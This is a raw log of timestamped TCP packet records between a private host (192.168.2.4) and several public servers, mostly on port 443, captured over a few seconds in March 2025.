Mar 27, 2025 00:46:54.421828032 CET	443	49729	151.101.130.137	192.168.2.4
Mar 27, 2025 00:46:54.421895027 CET	49729	443	192.168.2.4	151.101.130.137
Mar 27, 2025 00:46:54.421904087 CET	443	49729	151.101.130.137	192.168.2.4
Mar 27, 2025 00:46:54.421955109 CET	49729	443	192.168.2.4	151.101.130.137
Mar 27, 2025 00:46:54.422326088 CET	49729	443	192.168.2.4	151.101.130.137
Mar 27, 2025 00:46:54.422333002 CET	443	49729	151.101.130.137	192.168.2.4
Mar 27, 2025 00:46:54.633040905 CET	49732	443	192.168.2.4	104.16.2.189
Mar 27, 2025 00:46:54.633137941 CET	443	49732	104.16.2.189	192.168.2.4
Mar 27, 2025 00:46:54.633228064 CET	49732	443	192.168.2.4	104.16.2.189
Mar 27, 2025 00:46:54.633395910 CET	49732	443	192.168.2.4	104.16.2.189
Mar 27, 2025 00:46:54.633414030 CET	443	49732	104.16.2.189	192.168.2.4
Mar 27, 2025 00:46:54.676166058 CET	49678	443	192.168.2.4	20.189.173.27
Mar 27, 2025 00:46:54.816133976 CET	443	49732	104.16.2.189	192.168.2.4
Mar 27, 2025 00:46:54.816207886 CET	49732	443	192.168.2.4	104.16.2.189
Mar 27, 2025 00:46:54.819745064 CET	49732	443	192.168.2.4	104.16.2.189
Mar 27, 2025 00:46:54.819757938 CET	443	49732	104.16.2.189	192.168.2.4
Mar 27, 2025 00:46:54.820002079 CET	443	49732	104.16.2.189	192.168.2.4
Mar 27, 2025 00:46:54.820456982 CET	49732	443	192.168.2.4	104.16.2.189
Mar 27, 2025 00:46:54.868269920 CET	443	49732	104.16.2.189	192.168.2.4
Mar 27, 2025 00:46:55.088241100 CET	443	49732	104.16.2.189	192.168.2.4
Mar 27, 2025 00:46:55.088340044 CET	443	49732	104.16.2.189	192.168.2.4
Mar 27, 2025 00:46:55.088653088 CET	49732	443	192.168.2.4	104.16.2.189
Mar 27, 2025 00:46:55.089293957 CET	49732	443	192.168.2.4	104.16.2.189
Mar 27, 2025 00:46:55.089313030 CET	443	49732	104.16.2.189	192.168.2.4
Mar 27, 2025 00:46:55.182790995 CET	49733	443	192.168.2.4	104.16.5.189
Mar 27, 2025 00:46:55.182893991 CET	443	49733	104.16.5.189	192.168.2.4
Mar 27, 2025 00:46:55.182996035 CET	49733	443	192.168.2.4	104.16.5.189
Mar 27, 2025 00:46:55.183134079 CET	49733	443	192.168.2.4	104.16.5.189
Mar 27, 2025 00:46:55.183140993 CET	443	49733	104.16.5.189	192.168.2.4
Mar 27, 2025 00:46:55.361053944 CET	443	49733	104.16.5.189	192.168.2.4
Mar 27, 2025 00:46:55.361248016 CET	49733	443	192.168.2.4	104.16.5.189
Mar 27, 2025 00:46:55.361707926 CET	49733	443	192.168.2.4	104.16.5.189
Mar 27, 2025 00:46:55.361718893 CET	443	49733	104.16.5.189	192.168.2.4
Mar 27, 2025 00:46:55.361921072 CET	443	49733	104.16.5.189	192.168.2.4
Mar 27, 2025 00:46:55.362158060 CET	49733	443	192.168.2.4	104.16.5.189
Mar 27, 2025 00:46:55.408268929 CET	443	49733	104.16.5.189	192.168.2.4
Mar 27, 2025 00:46:55.636028051 CET	443	49733	104.16.5.189	192.168.2.4
Mar 27, 2025 00:46:55.636106014 CET	443	49733	104.16.5.189	192.168.2.4
Mar 27, 2025 00:46:55.636179924 CET	49733	443	192.168.2.4	104.16.5.189
Mar 27, 2025 00:46:55.637130022 CET	49733	443	192.168.2.4	104.16.5.189
Mar 27, 2025 00:46:55.637171984 CET	443	49733	104.16.5.189	192.168.2.4
Mar 27, 2025 00:46:55.878525972 CET	49678	443	192.168.2.4	20.189.173.27
Mar 27, 2025 00:46:58.283273935 CET	49678	443	192.168.2.4	20.189.173.27
Mar 27, 2025 00:46:59.888428926 CET	49736	80	192.168.2.4	142.250.65.163
Mar 27, 2025 00:46:59.972213030 CET	80	49736	142.250.65.163	192.168.2.4
Mar 27, 2025 00:46:59.972445965 CET	49736	80	192.168.2.4	142.250.65.163
Mar 27, 2025 00:46:59.972445965 CET	49736	80	192.168.2.4	142.250.65.163
Mar 27, 2025 00:46:59.985369921 CET	49737	443	192.168.2.4	104.21.80.1
Mar 27, 2025 00:46:59.985404015 CET	443	49737	104.21.80.1	192.168.2.4
Mar 27, 2025 00:46:59.985461950 CET	49737	443	192.168.2.4	104.21.80.1
Mar 27, 2025 00:46:59.985615969 CET	49737	443	192.168.2.4	104.21.80.1
Mar 27, 2025 00:46:59.985625029 CET	443	49737	104.21.80.1	192.168.2.4
Mar 27, 2025 00:47:00.056895971 CET	80	49736	142.250.65.163	192.168.2.4
Mar 27, 2025 00:47:00.057398081 CET	80	49736	142.250.65.163	192.168.2.4
Mar 27, 2025 00:47:00.062963009 CET	49736	80	192.168.2.4	142.250.65.163
Mar 27, 2025 00:47:00.148336887 CET	80	49736	142.250.65.163	192.168.2.4
Mar 27, 2025 00:47:00.167243958 CET	443	49737	104.21.80.1	192.168.2.4
Mar 27, 2025 00:47:00.167325020 CET	49737	443	192.168.2.4	104.21.80.1
Mar 27, 2025 00:47:00.168720007 CET	49737	443	192.168.2.4	104.21.80.1
Mar 27, 2025 00:47:00.168726921 CET	443	49737	104.21.80.1	192.168.2.4
Mar 27, 2025 00:47:00.168967009 CET	443	49737	104.21.80.1	192.168.2.4
Mar 27, 2025 00:47:00.169614077 CET	49737	443	192.168.2.4	104.21.80.1
Mar 27, 2025 00:47:00.189634085 CET	49736	80	192.168.2.4	142.250.65.163
Mar 27, 2025 00:47:00.212275028 CET	443	49737	104.21.80.1	192.168.2.4
Mar 27, 2025 00:47:00.480504036 CET	443	49723	142.250.72.100	192.168.2.4
Mar 27, 2025 00:47:00.480576992 CET	443	49723	142.250.72.100	192.168.2.4
Mar 27, 2025 00:47:00.480648041 CET	49723	443	192.168.2.4	142.250.72.100
Mar 27, 2025 00:47:00.832499981 CET	49723	443	192.168.2.4	142.250.72.100
Mar 27, 2025 00:47:00.832520008 CET	443	49723	142.250.72.100	192.168.2.4
Mar 27, 2025 00:47:00.877775908 CET	443	49737	104.21.80.1	192.168.2.4
Mar 27, 2025 00:47:00.877888918 CET	443	49737	104.21.80.1	192.168.2.4
Mar 27, 2025 00:47:00.878010988 CET	49737	443	192.168.2.4	104.21.80.1
Mar 27, 2025 00:47:00.878751040 CET	49737	443	192.168.2.4	104.21.80.1
Mar 27, 2025 00:47:00.878772974 CET	443	49737	104.21.80.1	192.168.2.4
Mar 27, 2025 00:47:00.881962061 CET	49725	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:00.881983995 CET	49725	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:00.882025957 CET	443	49725	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:00.966964960 CET	49741	443	192.168.2.4	104.21.64.1
Mar 27, 2025 00:47:00.967016935 CET	443	49741	104.21.64.1	192.168.2.4
Mar 27, 2025 00:47:00.967099905 CET	49741	443	192.168.2.4	104.21.64.1
Mar 27, 2025 00:47:00.967377901 CET	49741	443	192.168.2.4	104.21.64.1
Mar 27, 2025 00:47:00.967391968 CET	443	49741	104.21.64.1	192.168.2.4
Mar 27, 2025 00:47:01.146837950 CET	443	49741	104.21.64.1	192.168.2.4
Mar 27, 2025 00:47:01.146908045 CET	49741	443	192.168.2.4	104.21.64.1
Mar 27, 2025 00:47:01.147428989 CET	49741	443	192.168.2.4	104.21.64.1
Mar 27, 2025 00:47:01.147434950 CET	443	49741	104.21.64.1	192.168.2.4
Mar 27, 2025 00:47:01.147749901 CET	443	49741	104.21.64.1	192.168.2.4
Mar 27, 2025 00:47:01.148107052 CET	49741	443	192.168.2.4	104.21.64.1
Mar 27, 2025 00:47:01.192265987 CET	443	49741	104.21.64.1	192.168.2.4
Mar 27, 2025 00:47:01.458741903 CET	443	49725	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.459126949 CET	443	49725	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.459204912 CET	49725	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:01.460333109 CET	49725	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:01.460342884 CET	443	49725	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.472863913 CET	49743	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:01.472884893 CET	443	49743	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.472961903 CET	49743	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:01.473889112 CET	49743	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:01.473901033 CET	443	49743	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.474289894 CET	49744	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:01.474333048 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.474402905 CET	49744	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:01.474675894 CET	49744	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:01.474694014 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.575299025 CET	49745	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:01.575320005 CET	443	49745	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.575397015 CET	49745	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:01.575536966 CET	49745	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:01.575553894 CET	443	49745	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.651298046 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.652545929 CET	49744	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:01.652575016 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.652781010 CET	49744	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:01.652787924 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.656443119 CET	443	49743	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.656658888 CET	49743	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:01.656678915 CET	443	49743	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.752479076 CET	443	49745	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.752598047 CET	49745	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:01.753020048 CET	49745	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:01.753026962 CET	443	49745	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.753226042 CET	443	49745	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.753505945 CET	49745	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:01.796269894 CET	443	49745	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:01.850474119 CET	443	49741	104.21.64.1	192.168.2.4
Mar 27, 2025 00:47:01.850565910 CET	443	49741	104.21.64.1	192.168.2.4
Mar 27, 2025 00:47:01.850712061 CET	49741	443	192.168.2.4	104.21.64.1
Mar 27, 2025 00:47:01.851550102 CET	49741	443	192.168.2.4	104.21.64.1
Mar 27, 2025 00:47:01.851564884 CET	443	49741	104.21.64.1	192.168.2.4
Mar 27, 2025 00:47:02.152009964 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.153156042 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.153172970 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.153211117 CET	49744	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.153228998 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.153279066 CET	49744	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.153291941 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.153660059 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.153706074 CET	49744	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.153713942 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.154864073 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.154889107 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.154916048 CET	49744	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.154922962 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.155044079 CET	49744	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.156088114 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.156387091 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.156399965 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.156583071 CET	49744	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.156590939 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.158291101 CET	49744	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.158418894 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.178960085 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.178987980 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.179084063 CET	49744	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.179091930 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.179138899 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.179163933 CET	49744	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.179169893 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.179269075 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.179316998 CET	49744	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.179976940 CET	49744	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.179986000 CET	443	49744	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.224540949 CET	49743	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.224565983 CET	443	49743	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.224594116 CET	49743	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.224597931 CET	443	49743	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.256067038 CET	49746	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.256103992 CET	443	49746	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.256272078 CET	49746	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.256705046 CET	49746	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.256722927 CET	443	49746	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.436651945 CET	443	49746	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.436959982 CET	49746	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.436990976 CET	443	49746	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.437133074 CET	49746	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.437140942 CET	443	49746	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.476278067 CET	443	49745	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.476331949 CET	443	49745	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.476563931 CET	49745	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.489936113 CET	49745	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.489948034 CET	443	49745	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.573785067 CET	49747	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:47:02.573826075 CET	443	49747	35.190.80.1	192.168.2.4
Mar 27, 2025 00:47:02.573944092 CET	49747	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:47:02.574139118 CET	49747	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:47:02.574151993 CET	443	49747	35.190.80.1	192.168.2.4
Mar 27, 2025 00:47:02.755949020 CET	443	49747	35.190.80.1	192.168.2.4
Mar 27, 2025 00:47:02.756021023 CET	49747	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:47:02.757469893 CET	49747	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:47:02.757476091 CET	443	49747	35.190.80.1	192.168.2.4
Mar 27, 2025 00:47:02.757708073 CET	443	49747	35.190.80.1	192.168.2.4
Mar 27, 2025 00:47:02.758349895 CET	49747	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:47:02.786158085 CET	443	49743	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.786273956 CET	443	49743	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.786350965 CET	49743	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.787897110 CET	49743	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.787913084 CET	443	49743	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.800307989 CET	443	49747	35.190.80.1	192.168.2.4
Mar 27, 2025 00:47:02.933357000 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.933387041 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.933482885 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.934164047 CET	49749	443	192.168.2.4	151.101.130.137
Mar 27, 2025 00:47:02.934174061 CET	443	49749	151.101.130.137	192.168.2.4
Mar 27, 2025 00:47:02.934360027 CET	49749	443	192.168.2.4	151.101.130.137
Mar 27, 2025 00:47:02.934660912 CET	49750	443	192.168.2.4	104.17.25.14
Mar 27, 2025 00:47:02.934669018 CET	443	49750	104.17.25.14	192.168.2.4
Mar 27, 2025 00:47:02.934747934 CET	49750	443	192.168.2.4	104.17.25.14
Mar 27, 2025 00:47:02.935162067 CET	49750	443	192.168.2.4	104.17.25.14
Mar 27, 2025 00:47:02.935178041 CET	443	49750	104.17.25.14	192.168.2.4
Mar 27, 2025 00:47:02.935241938 CET	49749	443	192.168.2.4	151.101.130.137
Mar 27, 2025 00:47:02.935255051 CET	443	49749	151.101.130.137	192.168.2.4
Mar 27, 2025 00:47:02.935327053 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:02.935338974 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:02.953571081 CET	443	49747	35.190.80.1	192.168.2.4
Mar 27, 2025 00:47:02.953634977 CET	443	49747	35.190.80.1	192.168.2.4
Mar 27, 2025 00:47:02.953752041 CET	49747	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:47:02.954065084 CET	49747	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:47:02.954080105 CET	443	49747	35.190.80.1	192.168.2.4
Mar 27, 2025 00:47:02.954088926 CET	49747	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:47:02.954330921 CET	49747	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:47:02.958862066 CET	49751	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:47:02.958890915 CET	443	49751	35.190.80.1	192.168.2.4
Mar 27, 2025 00:47:02.959002018 CET	49751	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:47:02.959615946 CET	49751	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:47:02.959635973 CET	443	49751	35.190.80.1	192.168.2.4
Mar 27, 2025 00:47:03.067186117 CET	443	49746	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.067250967 CET	443	49746	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.067312956 CET	49746	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.092794895 CET	49678	443	192.168.2.4	20.189.173.27
Mar 27, 2025 00:47:03.109199047 CET	49746	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.109213114 CET	443	49746	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.109858990 CET	443	49749	151.101.130.137	192.168.2.4
Mar 27, 2025 00:47:03.110450983 CET	443	49750	104.17.25.14	192.168.2.4
Mar 27, 2025 00:47:03.117350101 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.134042978 CET	443	49751	35.190.80.1	192.168.2.4
Mar 27, 2025 00:47:03.161752939 CET	49749	443	192.168.2.4	151.101.130.137
Mar 27, 2025 00:47:03.161752939 CET	49750	443	192.168.2.4	104.17.25.14
Mar 27, 2025 00:47:03.161752939 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.177846909 CET	49751	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:47:03.177875042 CET	443	49751	35.190.80.1	192.168.2.4
Mar 27, 2025 00:47:03.178040981 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.178052902 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.178265095 CET	49750	443	192.168.2.4	104.17.25.14
Mar 27, 2025 00:47:03.178270102 CET	443	49750	104.17.25.14	192.168.2.4
Mar 27, 2025 00:47:03.178430080 CET	49749	443	192.168.2.4	151.101.130.137
Mar 27, 2025 00:47:03.178433895 CET	443	49749	151.101.130.137	192.168.2.4
Mar 27, 2025 00:47:03.178826094 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.178831100 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.178863049 CET	49751	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:47:03.178869009 CET	443	49751	35.190.80.1	192.168.2.4
Mar 27, 2025 00:47:03.336944103 CET	443	49751	35.190.80.1	192.168.2.4
Mar 27, 2025 00:47:03.337025881 CET	443	49751	35.190.80.1	192.168.2.4
Mar 27, 2025 00:47:03.337085009 CET	49751	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:47:03.338504076 CET	49751	443	192.168.2.4	35.190.80.1
Mar 27, 2025 00:47:03.338534117 CET	443	49751	35.190.80.1	192.168.2.4
Mar 27, 2025 00:47:03.591564894 CET	49752	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.591608047 CET	443	49752	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.592001915 CET	49752	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.592159033 CET	49752	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.592174053 CET	443	49752	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.770870924 CET	443	49752	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.774652004 CET	49752	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.774672985 CET	443	49752	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.774683952 CET	49752	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.774689913 CET	443	49752	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.785397053 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.785834074 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.785864115 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.786082983 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.786926985 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.787024021 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.788726091 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.789370060 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.789504051 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.789529085 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.789585114 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.789632082 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.789958954 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.789985895 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.790591002 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.791577101 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.791665077 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.792825937 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.792874098 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.793519020 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.793531895 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.799068928 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.812668085 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.812766075 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.812796116 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.814651012 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.814662933 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.818300962 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.915777922 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.915977001 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.916069984 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.916177034 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.916306973 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.916412115 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.916480064 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.916825056 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.916897058 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.916968107 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.916990042 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.917226076 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.917320967 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.918418884 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.919049025 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.919060946 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.919872999 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.921688080 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.921904087 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.922153950 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.923423052 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.924639940 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.925899982 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.932082891 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.932097912 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.932835102 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.933132887 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.935208082 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.935482979 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.936379910 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.944621086 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:03.944633961 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:03.945198059 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:04.001504898 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.001991987 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.002589941 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:04.002610922 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.017905951 CET	49671	443	192.168.2.4	204.79.197.203
Mar 27, 2025 00:47:04.044199944 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.044411898 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.044471025 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:04.044480085 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.045656919 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.046274900 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 00:47:04.046283007 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.047966957 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 00:47:04.048211098 CET	443	49748	172.64.80.1	192.168.2.4
